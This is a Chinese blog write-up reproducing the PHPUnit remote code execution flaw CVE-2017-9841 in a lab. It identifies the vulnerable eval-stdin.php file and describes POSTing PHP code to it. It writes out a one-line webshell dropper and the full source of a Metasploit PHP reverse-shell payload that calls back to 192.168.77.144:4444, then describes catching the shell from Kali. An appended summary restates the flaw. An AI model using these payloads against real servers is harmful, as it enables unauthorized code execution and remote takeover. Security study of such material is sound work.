phpunit 远程代码执行漏洞(CVE-2017-9841)

phpunit 远程代码执行漏洞(CVE-2017-9841)

漏洞概述:

PHPUnit 是 PHP 程式语言中最常见的单元测试 (unit testing) 框架,通常phpunit使用composer非常流行的PHP依赖管理器进行部署,将会在当前目录创建一个vendor文件夹.phpunit生产环境中仍然安装了它,如果该编写器模块存在于Web可访问目录,则存在远程代码执行漏洞。

漏洞版本:

4.8.19 ~ 4.8.27
5.0.10 ~ 5.6.2

基本原理:

漏洞位于/phpunit/src/Util/PHP/eval-stdin.php。
eval(’?>’.file_get_contents(‘php://input’));

漏洞复现:

总体来说就是向vendor/phpunit/src/Util/PHP/eval-stdin.php发送POST请求执行php代码。
例如直接执行phpinfo
在这里插入图片描述
在这里插入图片描述
用die()函数回显md5值
在这里插入图片描述
也可以直接写入一句话木马。<?=file_put_contents("1.php", '<?=eval($_REQUEST[1]);?>’);
在这里插入图片描述
但是第一次显示没有权限
在这里插入图片描述
在这里插入图片描述
给WEB目录赋予权限之后可以上传
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
菜刀访问第一次路径写错了提示404,第二次提示200但是报错,网上说可能是linux和Windows编码不兼容,或是PHP版本问题,目前还没解决。
在这里插入图片描述
在这里插入图片描述
在浏览器访问webshell地址,访问不到
在这里插入图片描述
第二次用msf生成PHP木马,查看木马的内容

/*<?php /**/ error_reporting(0); $ip = '192.168.77.144'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

在这里插入图片描述
用之前的方法将木马的内容粘贴到XX的位置:

<?=file_put_contents("1.php", 'XX'); ![在这里插入图片描述](https://img-blog.csdnimg.cn/20210421185205472.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzcxODY4OA==,size_16,color_FFFFFF,t_70) 然后发包,可以看到下图回显 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20210421185214637.png) 在kali机里面监听获取shell ![在这里插入图片描述](https://img-blog.csdnimg.cn/20210421185222775.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzcxODY4OA==,size_16,color_FFFFFF,t_70)
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
根据引用\[2\]和引用\[3\]的信息,CVE-2017-9841PHPUnit远程代码执行漏洞的一个漏洞编号。PHPUnitPHP语言中最常见的单元测试框架,通常使用composer进行部署。如果在Web可访问目录中存在PHPUnit的编写器模块,就存在远程代码执行漏洞。该漏洞的版本范围是4.8.19至4.8.27和5.0.10至5.6.2。具体的原理是,在/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php文件中,通过eval函数执行了从php://input中获取的代码。然而,目前使用的PHPUnit版本一般为5.7或更高,几乎不存在这个漏洞的可能性。\[2\]\[3\] 如果您想复现CVE-2017-9841漏洞,您需要使用受影响版本的PHPUnit,并将编写器模块放置在Web可访问目录中。然后,您可以通过向php://input发送恶意代码来利用该漏洞。请注意,复现漏洞是违法行为,且可能会对系统造成损害。强烈建议您仅在合法的环境中进行安全测试和研究。 #### 引用[.reference_title] - *1* *3* [phpunit 远程代码执行漏洞CVE-2017-9841)](https://blog.csdn.net/weixin_46203060/article/details/111489023)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [phpunit 远程代码执行漏洞CVE-2017-9841)复现](https://blog.csdn.net/csacs/article/details/90640601)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值